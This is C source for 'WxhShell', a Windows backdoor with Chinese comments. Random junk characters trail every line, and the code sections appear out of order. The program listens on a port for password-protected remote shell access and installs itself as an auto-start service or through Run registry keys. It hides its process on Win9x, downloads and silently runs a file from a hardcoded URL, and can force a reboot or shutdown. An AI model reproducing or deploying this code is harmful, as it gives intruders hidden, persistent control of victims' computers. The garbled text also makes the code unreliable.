    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &$<7]a\dM  
    if(Boot(SHUTDOWN)) K=Y{iHn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Dc9|WuHN  
    else { vWq/A.  
    closesocket(wsh); s& Lyg>>`  
    ExitThread(0); X/!37  
    } ;n-IpR#|  
    break; _-.~>C  
    } 9&t!U+  
  // 获取shell bk#t+tuk  
  case 's': { 8*V8B=q}K  
    CmdShell(wsh); ->S6S_H/+&  
    closesocket(wsh); al3[Ph5G  
    ExitThread(0); L beMP  
    break; /`Wd+  
  } RL;>1Q,H  
  // 退出 ]&D;'),   
  case 'x': { yfD)|lK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6c/Tm0[  
    CloseIt(wsh); h""a#n)q}`  
    break; cP~?Iz8nD  
    } 1K;i/  
  // 离开 1wqsGad+;  
  case 'q': { r|WoM39bp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bh8IF,@a  
    closesocket(wsh); sDH|k@K  
    WSACleanup(); L/.$0@$bv  
    exit(1); L|3wG Y9E  
    break; "lp),  
        } S>]Jc$  
  } 3psCV=/z  
  } @lau?@$ja  
1MV\ ^l_  
  // 提示信息 <h/\)bPB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p,=:Ff}~  
} d`| W6Do  
  }  +McKyEa  
P7I,xcOm  
  return; Cl;B%5yl  
} +|OkT  
/ 4K*iq  
// shell模块句柄 >a]4}  
int CmdShell(SOCKET sock) .,K?(O4AY  
{ "Yn <]Pa_  
STARTUPINFO si; #N|)hBz9-  
ZeroMemory(&si,sizeof(si)); E\r5!45r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :\*hAV1i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; icF -`m  
PROCESS_INFORMATION ProcessInfo; Y"mD)\Bw?  
char cmdline[]="cmd"; rbnu:+!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C"/]X  
  return 0; G{ rUqo  
} .ukP)rGe  
0>-l {4srs  
// 自身启动模式 $7aRf'  
int StartFromService(void) Kg>+5~+E?q  
{ IPcAE!h6zN  
typedef struct @ -JD`2z  
{ dCcV$BX,K  
  DWORD ExitStatus; _f,q8ZkSr  
  DWORD PebBaseAddress; 9 il!w g?  
  DWORD AffinityMask; +*g[hRw[  
  DWORD BasePriority; `4Z#/g  
  ULONG UniqueProcessId; Z>a_vC  
  ULONG InheritedFromUniqueProcessId; 5SX0g(C  
}   PROCESS_BASIC_INFORMATION; 9U58#  
K4xZT+Qb  
PROCNTQSIP NtQueryInformationProcess; g 4d 5G=y  
w"-bO ~5h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @?K(+BGi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v>g1\y Iw  
!cnH|ePbI  
  HANDLE             hProcess; 5Zn3s()  
  PROCESS_BASIC_INFORMATION pbi; -MHu BgYJ-  
Np|i Xwl1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n=t%,[Op  
  if(NULL == hInst ) return 0; Q-}oe Q  
u!nt0hS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lyZof_/*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a|5GC pp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  fUb5KCZ  
8c__ U<  
  if (!NtQueryInformationProcess) return 0; 1y_{#,{>  
>g93Bj*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >6ch[W5k@  
  if(!hProcess) return 0; OU9=O>  
4_t aCK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N ~M:+ \  
":"M/v%F  
  CloseHandle(hProcess); <2H 0m  
RLulz|jC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p//">l=Ps  
if(hProcess==NULL) return 0; LC[, K  
0<v~J9i  
HMODULE hMod; fb`VYD9[^  
char procName[255]; 9KXp0Q?-$  
unsigned long cbNeeded; P$]Vb'Fz  
.#j)YG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S*#y7YKI  
v l{hE~  
  CloseHandle(hProcess); '` [nt25N  
fU)hn  
if(strstr(procName,"services")) return 1; // 以服务启动 L<8y5B~W  
zy$hDy0  
  return 0; // 注册表启动 =/dW5qy;*+  
} <,rjU*"  
b55|JWfC`  
// 主模块 w0*6GCP  
int StartWxhshell(LPSTR lpCmdLine) }clFaT>m?  
{ &]vd7Q.t  
  SOCKET wsl; YuPgsJ[m  
BOOL val=TRUE; ZklidHL');  
  int port=0; 79x^zqLb  
  struct sockaddr_in door; `/+7@~[RU  
4,<~t>M1  
  if(wscfg.ws_autoins) Install(); uft~+w P  
aL=VNZ!Pqc  
port=atoi(lpCmdLine); gXw\_ue<  
&S|laq H  
if(port<=0) port=wscfg.ws_port; *Z/B\nb  
/#,<> EfT  
  WSADATA data; rSEJ2%iF*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zs{ `Yf^Q  
Y$Uvt_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %0u7pk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0IA '8_K  
  door.sin_family = AF_INET; HPpnw] _  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cL1cBWd  
  door.sin_port = htons(port); le[5a=e(  
&12aI |u^<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +[F9Q,bH@b  
closesocket(wsl); %%k[TO  
return 1; ^NnZYr.  
}  =6A<>  
Y":hb;&  
  if(listen(wsl,2) == INVALID_SOCKET) { oFIs,[ Go  
closesocket(wsl); 0cS.|\ZTA  
return 1; 3}T&|@*  
} <N`rcKE%~P  
  Wxhshell(wsl); 75v*&-  
  WSACleanup(); D l"y|  
sY#K=5R  
return 0; 6U""TR!   
?3z x?>sG  
} g@EKJFjl  
bC@b9opD  
// 以NT服务方式启动 {9=U6m^R2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hB^"GYZ  
{ -pjL7/gx  
DWORD   status = 0; .[_&>@bmrP  
  DWORD   specificError = 0xfffffff; @rJ#Dr  
{Rz`)qqE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %%3ugD5i!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ! TRiFD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 97&6iTYA  
  serviceStatus.dwWin32ExitCode     = 0; <T&$1m{  
  serviceStatus.dwServiceSpecificExitCode = 0; @a3<fmJ  
  serviceStatus.dwCheckPoint       = 0; jBB<{VV|  
  serviceStatus.dwWaitHint       = 0; r%a$u%)oD  
%.onO0})  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Y>E  
  if (hServiceStatusHandle==0) return; <1 ;pyw y  
sRqecG(n  
status = GetLastError(); ZDov2W  
  if (status!=NO_ERROR) NCl@C$W9q  
{ s[t<2)i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 90K&oof?M  
    serviceStatus.dwCheckPoint       = 0; HxcL3Bh$~}  
    serviceStatus.dwWaitHint       = 0; =%c\<<]aV  
    serviceStatus.dwWin32ExitCode     = status; K9y~ e  
    serviceStatus.dwServiceSpecificExitCode = specificError; )4m`Ya,E3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PTqia!  
    return; 8m=O408Q  
  } -Tn%O|#K  
ga(k2Q;y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '$?!>HN4  
  serviceStatus.dwCheckPoint       = 0; KSHq0A6/q%  
  serviceStatus.dwWaitHint       = 0; `uH7~ r^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tw&v@HUP  
} * ^V?u  
9%1J..c  
// 处理NT服务事件,比如:启动、停止 $2RSYI`py  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RBBmGZ  
{ i'4.w?OZ  
switch(fdwControl) L"n)fe$  
{ 1<5Ug8q  
case SERVICE_CONTROL_STOP: Vzo< ma^  
  serviceStatus.dwWin32ExitCode = 0; /,UnT(/k(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xV 2C4K  
  serviceStatus.dwCheckPoint   = 0; !a-B=pn!]  
  serviceStatus.dwWaitHint     = 0; :2&"ak>N  
  { Poa&htxe1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v(!:HK0oeT  
  }  >]~|Nf/i  
  return;  bLAHVi<.  
case SERVICE_CONTROL_PAUSE: 32j}ep.*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %.?V\l  
  break; z|X6\8f  
case SERVICE_CONTROL_CONTINUE: aWJj@',_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eZN"t~\rX  
  break; !8| }-eFY  
case SERVICE_CONTROL_INTERROGATE: PMV,*`"9"A  
  break; e}S+1G6r)  
}; j49Uj}:j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A`ajsZ{q,  
} ^|]Dg &N.  
BP0:<vK{  
// 标准应用程序主函数 Y)+q[MZ R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8W?dWj  
{ 0GXY2+p}S  
G3%Ju=  
// 获取操作系统版本 xZlCFu   
OsIsNt=GetOsVer(); ;}"Eqq:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \ "$$c  
5<R m{  
  // 从命令行安装 W ';X4e  
  if(strpbrk(lpCmdLine,"iI")) Install(); kuV7nsXiQ  
2R.L LE  
  // 下载执行文件 oSC'b%  
if(wscfg.ws_downexe) { Mjy:k|aY"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hW< v5!,  
  WinExec(wscfg.ws_filenam,SW_HIDE); X3X_=qzc  
} ]MosiMJF  
*^~ =/:  
if(!OsIsNt) { $t(v `,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ng"=vmu  
HideProc(); "8{A4N1B5  
StartWxhshell(lpCmdLine); G~YZ(+V%~  
} Z,A$h>Z  
else vjlN@ "  
  if(StartFromService()) N}K [Q=  
  // 以服务方式启动 *}d N.IL,  
  StartServiceCtrlDispatcher(DispatchTable); @we1#Vz.  
else 0)332}Oh  
  // 普通方式启动 "J1A9|  
  StartWxhshell(lpCmdLine); MMs~f*  
JfIXv  
return 0; nQjpJ /=  
} |JxVfX8^  
jTvcKm|q  
d?2ORr|m=  
>|E]??v  
=========================================== ir_XU/ve  
d8wVhZKI"  
` 3qf}=Z`  
m-vn5OX  
i}sAF/  
10Ik_L='  
" iZ-R%-}B  
t]$n~!  
#include <stdio.h> si]VM_w6  
#include <string.h> >v.f H6P,}  
#include <windows.h> / \w4k  
#include <winsock2.h> g Ed A hfx  
#include <winsvc.h> $nO~A7  
#include <urlmon.h>  $3^M-w  
Q[biy{(b8  
#pragma comment (lib, "Ws2_32.lib") XB7Aa)  
#pragma comment (lib, "urlmon.lib") nF<K84  
 ES~b f  
#define MAX_USER   100 // 最大客户端连接数 .h-mFcjy  
#define BUF_SOCK   200 // sock buffer ga 5Q  
#define KEY_BUFF   255 // 输入 buffer }qn>#ETi  
da7"Q{f+  
#define REBOOT     0   // 重启 ws'e  
#define SHUTDOWN   1   // 关机 gyw=1q+  
NP T-d  
#define DEF_PORT   5000 // 监听端口 HAxLYun(3w  
`Nx@MPo  
#define REG_LEN     16   // 注册表键长度 >^s2$@J?p  
#define SVC_LEN     80   // NT服务名长度 2/&=:,"t,B  
z1J)./BO  
// 从dll定义API "lh4Vg\7n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _z@/~M(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lv%3 jj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 7BSJ   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "cKD#  
oy^-?+   
// wxhshell配置信息 ,hn#DJ)  
struct WSCFG { {r_HcI(h  
  int ws_port;         // 监听端口 GW,EyOE+~  
  char ws_passstr[REG_LEN]; // 口令 /mkT7,]  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lh[0B.g<  
  char ws_regname[REG_LEN]; // 注册表键名 Ei!Z]jeK  
  char ws_svcname[REG_LEN]; // 服务名 ^4n#''wJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ip-X r|Bq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Msqqjhoy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =X R~I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ${Un#]g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 Ej->T.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <?.eU<+O`S  
gi!_Nz  
}; A6z ,6v6  
&-=~8  
// default Wxhshell configuration )'+[,z ;s  
struct WSCFG wscfg={DEF_PORT, 5?0<.f,  
    "xuhuanlingzhe", Jt8;ddz  
    1, /e2zH  
    "Wxhshell", ]? y~;-^  
    "Wxhshell", ]}L'jK 0  
            "WxhShell Service", wH~A> 4*(  
    "Wrsky Windows CmdShell Service", a|t~&\@  
    "Please Input Your Password: ", `+,?%W)  
  1, X:W\EeH  
  "http://www.wrsky.com/wxhshell.exe", >Scyc-n  
  "Wxhshell.exe" clvg5{^q[  
    }; AG,><UP  
' [$KG  
// 消息定义模块 #/YS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &#PPXwmR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5M5Bm[X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _lv{8vf1B  
char *msg_ws_ext="\n\rExit."; U"Gx Xrl  
char *msg_ws_end="\n\rQuit."; 1/-3m Po  
char *msg_ws_boot="\n\rReboot..."; BM!ZdoKrKt  
char *msg_ws_poff="\n\rShutdown..."; m*y&z'e\  
char *msg_ws_down="\n\rSave to "; Qder8I  
kkl'D!z2g  
char *msg_ws_err="\n\rErr!"; sC3Vj(d!i  
char *msg_ws_ok="\n\rOK!"; !ZTghX}D  
);!ND %  
char ExeFile[MAX_PATH]; !>9s  
int nUser = 0; V(`]hH0;T  
HANDLE handles[MAX_USER]; 2^'Ec:|f  
int OsIsNt; yY#h 1  
i9ySD  
SERVICE_STATUS       serviceStatus; V lx.C~WYn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6_`Bo%  
6:8s,a3&[k  
// 函数声明 j@4MV^F2c  
int Install(void); %,[,mW4l   
int Uninstall(void);  /b=C  
int DownloadFile(char *sURL, SOCKET wsh); )c11_1;  
int Boot(int flag); F~Dof({:  
void HideProc(void); kZ5#a)U<  
int GetOsVer(void); bSe\d~{  
int Wxhshell(SOCKET wsl); O i\ s  
void TalkWithClient(void *cs); vEI{AmogRx  
int CmdShell(SOCKET sock); Ck/44Wfej  
int StartFromService(void); WOn53|GQK  
int StartWxhshell(LPSTR lpCmdLine); d[6 'w ?  
%_|KiW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sywuS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I(M/ X/  
s~OcL  5  
// 数据结构和表定义 ~\am%r>  
SERVICE_TABLE_ENTRY DispatchTable[] = ]$2 yV&V&  
{ [!)HWgx  
{wscfg.ws_svcname, NTServiceMain}, (?l ]}p^[  
{NULL, NULL} !H\;X`W|~D  
}; qWH^/o  
4`8s]X  
// 自我安装 g|Lbe4?  
int Install(void) "s|P,*Xf  
{ O7 ;=g!j  
  char svExeFile[MAX_PATH]; az ZtuDfv  
  HKEY key; L(|K{vHh]  
  strcpy(svExeFile,ExeFile); _;3,  
tMw65Xei6b  
// 如果是win9x系统,修改注册表设为自启动 iZG-ca  
if(!OsIsNt) { !L.R"8!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |tAkv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q0 }u%Yz  
  RegCloseKey(key); _&]7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;i[JCNiS\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &pY '  
  RegCloseKey(key); t]SB .ja  
  return 0; ^N^G?{EV/#  
    } W(]A^C=/  
  } #HV5M1mb  
} {ENd]@N*  
else { 8=$XhC  
,marNG  
// 如果是NT以上系统,安装为系统服务 <( OHX3~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :m `D   
if (schSCManager!=0) CzG[S\{+  
{ oJD]h/fQs  
  SC_HANDLE schService = CreateService R[zN?  
  ( WOn<JCh]  
  schSCManager, D9TjjA|zS  
  wscfg.ws_svcname, 'dWUE-  
  wscfg.ws_svcdisp, pyV`O[  
  SERVICE_ALL_ACCESS, ?lkB{-%rQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |@_<^cV110  
  SERVICE_AUTO_START, *f 7rLM*  
  SERVICE_ERROR_NORMAL, `xx.,;S  
  svExeFile, `^Ll@Cx"  
  NULL, 4L,wBce;,t  
  NULL, @Y`Z3LiR$  
  NULL, R]yce2w"z  
  NULL, '4M{Xn}@  
  NULL kBqgz| jE%  
  ); 3Iqvc v  
  if (schService!=0) .u\$wJ9Ai  
  { %~:\f#6  
  CloseServiceHandle(schService); j5DCc,s  
  CloseServiceHandle(schSCManager); :xHKbWz6j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Du5Z9AM  
  strcat(svExeFile,wscfg.ws_svcname); eyh}O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l7uTk5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wlP3 XF?  
  RegCloseKey(key); L~f~XgQ  
  return 0; J-/w{T8:  
    } -ysNo4#e&  
  } /RJ]MQ\*O  
  CloseServiceHandle(schSCManager); T O]7cC  
} l$1?@l$j  
} z2{y<a9;?  
!U:&8Le  
return 1; $}vzBuWHwN  
} ]&H"EHC<$  
mS[``$Z\!  
// 自我卸载 eH7x>[lH.  
int Uninstall(void) N {{MMIq  
{ <[n:Ij  
  HKEY key; lr4wz(q<9  
OvQzMXU^I  
if(!OsIsNt) { ;Q,t65+Am  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,+ IFV  
  RegDeleteValue(key,wscfg.ws_regname); =r/8~~=  
  RegCloseKey(key); 2~\SUGW-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LZ_0=Xx%  
  RegDeleteValue(key,wscfg.ws_regname); qE2VUEv5Y  
  RegCloseKey(key); baD063P;  
  return 0; 1OExa<Zq  
  } N$e mS  
} &xB*Shp,B  
} ip<VRC5`5  
else { OQfFS+6  
@Ol(:{<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vu@.;-2E%  
if (schSCManager!=0) qD*y60~]zz  
{ y akRKiz\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o}G`t Bz  
  if (schService!=0) sgi5dQ  
  { , d $"`W2  
  if(DeleteService(schService)!=0) { d'Bxi"K  
  CloseServiceHandle(schService); <$s sU{5  
  CloseServiceHandle(schSCManager); <A=1]'1\r  
  return 0; Cp/f18zO  
  } q\?p' i  
  CloseServiceHandle(schService); n"RV!{&  
  } g(tVghHxt$  
  CloseServiceHandle(schSCManager); 5b/ ~]v  
} Lfi6b%/z  
} V'{\g|)  
_b%)  
return 1; X uE: dL?  
} d2Q*1Q@u  
1D#-,#?  
// 从指定url下载文件 P~{8L.w!>W  
int DownloadFile(char *sURL, SOCKET wsh) 5C1EdQ4S0  
{ b9X*2pnWJ  
  HRESULT hr; -->0e{y  
char seps[]= "/"; v]{UH {6  
char *token; CR'%=N04^  
char *file; Rs5lL-I  
char myURL[MAX_PATH]; l90"1I A  
char myFILE[MAX_PATH]; MAkr9AKb,  
\Aro Sy9  
strcpy(myURL,sURL); 3E*m.jX  
  token=strtok(myURL,seps); 2lsUCQI;  
  while(token!=NULL) 1}a4AGAp  
  { V($V8P/  
    file=token; v5'`iO0o  
  token=strtok(NULL,seps); e1-tpD:J  
  } nI]EfHU  
?< b{  
GetCurrentDirectory(MAX_PATH,myFILE); !\4B.  
strcat(myFILE, "\\"); wxvi)|)  
strcat(myFILE, file); kd^H}k  
  send(wsh,myFILE,strlen(myFILE),0); KL=<s#  
send(wsh,"...",3,0); z4SJxL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oq.ss!/z  
  if(hr==S_OK) Oh$:qu7o0&  
return 0; ]w6Q?%'9  
else &;-zy%#l  
return 1; Z,#H\1v3lB  
=|P &G~]  
} lcZ.}   
;WSW&2  
// 系统电源模块 ~I5hV}ZT  
int Boot(int flag) L_!ShE  
{ RJ3oI+gI  
  HANDLE hToken; '3672wF/  
  TOKEN_PRIVILEGES tkp; @M"gEeI9  
0h@FHw2d  
  if(OsIsNt) { NV4g5)D&L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W\kli';jyC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lNL=Yu2p_  
    tkp.PrivilegeCount = 1; 'vBZh1`p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d>hv-n D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *(Dmd$|0|  
if(flag==REBOOT) { DRQx5fgL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kb?{^\FiU  
  return 0; v3-' G gM  
} uMg\s\Z  
else { {Uw 0zC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?A3L8^tR  
  return 0; *XTd9E^tXq  
} )SmnLvL  
  } q ;'f3Y  
  else { ZkbE&7Z  
if(flag==REBOOT) { ZUQ _u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Dy^4p?o  
  return 0; 2 kDsIEA  
} rR.It,,  
else { /WTEz\k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0\%g@j-aD  
  return 0; ^AP8T8v  
}  `t U  
} Yb+A{`  
q\6(_U#Tl  
return 1; aas.-N T  
} y"JR kJ  
3 ~v 17  
// win9x进程隐藏模块 [r/zBF-.  
void HideProc(void) WkTJ M  
{ (9'^T.J  
q\0/6tl_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Op'a=4x]  
  if ( hKernel != NULL ) ,S-h~x  
  { 9-ozrw8t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'h*jL@%TT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9|+6@6VY!  
    FreeLibrary(hKernel); ote,`h  
  } eTuqK23  
/v R>.'  
return; l[}4 X/  
} 1-_r\sb  
W7>2&$  
// 获取操作系统版本 ix3LB!k<  
int GetOsVer(void) Y9+_MxC"  
{ [qYr~:`-[  
  OSVERSIONINFO winfo; @5%&wC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YT\@fgBt  
  GetVersionEx(&winfo); }E 'r?N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jm^.E\_  
  return 1; $coO~qvU  
  else GShxPH{_j  
  return 0; ||$&o!;/L  
} "z~ba>,-\  
!/zRw-q3B  
// 客户端句柄模块 m@4Dz|  
int Wxhshell(SOCKET wsl) [?!I*=*b  
{ f O*jCl  
  SOCKET wsh; $83B10OQ&L  
  struct sockaddr_in client; X]0>0=^  
  DWORD myID; (`tRJWbdz  
&k }f"TX2  
  while(nUser<MAX_USER) PVCoXOqh  
{ 2xI|G 3U  
  int nSize=sizeof(client); Luq4q95]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /(N/DMl[  
  if(wsh==INVALID_SOCKET) return 1; ^J'_CA  
Zj`WRH4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9j,g&G.K  
if(handles[nUser]==0) "/W[gP[y%  
  closesocket(wsh); =6%oW2E\  
else K+B978XD  
  nUser++; FKa";f"  
  } !gsvF\XDM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YDt+1Kw}D  
zsFzg.$3&  
  return 0; Zi!Ta"}8  
} o5 L^  
7u):J  
// 关闭 socket P15 H[<:Fz  
void CloseIt(SOCKET wsh)  <wH+\  
{ sibYJKOy  
closesocket(wsh); !IxO''4  
nUser--; Fnw:alWr  
ExitThread(0); XX6Z|Y5.  
} JfY*#({y  
rqdwQ  
// 客户端请求句柄 i|YS>Pw~j  
void TalkWithClient(void *cs) _X6'u J  
{ qWt}8_"  
GD W@/oQr  
  SOCKET wsh=(SOCKET)cs; `8:0x?X  
  char pwd[SVC_LEN]; ,"(L2+Yp  
  char cmd[KEY_BUFF]; c OYD N[k  
char chr[1]; Cy/&KWLenf  
int i,j; M>8J_{r^  
Qzi?%&  
  while (nUser < MAX_USER) { U84W(X  
6b|?@  
if(wscfg.ws_passstr) { ,$P,x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *GP2>oEM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~/ %Xm<  
  //ZeroMemory(pwd,KEY_BUFF); wT1s;2%  
      i=0; \bA Yic  
  while(i<SVC_LEN) { !3v&+Jrf6  
:!ya&o  
  // 设置超时 c\bL_  
  fd_set FdRead; Xlo7enzY  
  struct timeval TimeOut; cs9^&N:w[  
  FD_ZERO(&FdRead); " \$^j#o  
  FD_SET(wsh,&FdRead); t>"%exdoZ  
  TimeOut.tv_sec=8; s0kp(t!fiu  
  TimeOut.tv_usec=0; Mf}M/Fh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1I +9?fa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); En5oi  
K%(y<%Xp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ==[,;g x  
  pwd=chr[0]; !<bwg  
  if(chr[0]==0xd || chr[0]==0xa) { }Q7y tE  
  pwd=0; jYsAL=oh,*  
  break; #;!&8iH  
  } K %^n.  
  i++; 8H F^^Cva  
    } )P$(]{  
B.z$0=b  
  // 如果是非法用户,关闭 socket &W `xZyb3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bOY;IB _  
} xad`-vw  
WJ7|0qb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V\V /2u5-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*4`Tduu^  
8h )XULs2  
while(1) { qnm_#!&uHT  
_k-_&PR  
  ZeroMemory(cmd,KEY_BUFF); VYyija:  
f60w%  
      // 自动支持客户端 telnet标准   pO]gf$  
  j=0; yNu_>!Cp5  
  while(j<KEY_BUFF) { !Sq<_TO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _03?XUKV  
  cmd[j]=chr[0]; .nV2 n@SR  
  if(chr[0]==0xa || chr[0]==0xd) { dZM^?rq  
  cmd[j]=0; f^c+M~\JKj  
  break; 3"fDFR  
  } :qYp%Ub  
  j++; !(s n9z#  
    } 37AVk`a  
9tiZIm93]  
  // 下载文件 UK`A:N2[  
  if(strstr(cmd,"http://")) { R!nf^*~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TS<d?:  
  if(DownloadFile(cmd,wsh)) bMH~vR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QV4|f[Ki%  
  else  :Mx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uo F.f$%"  
  } &(F c .3m  
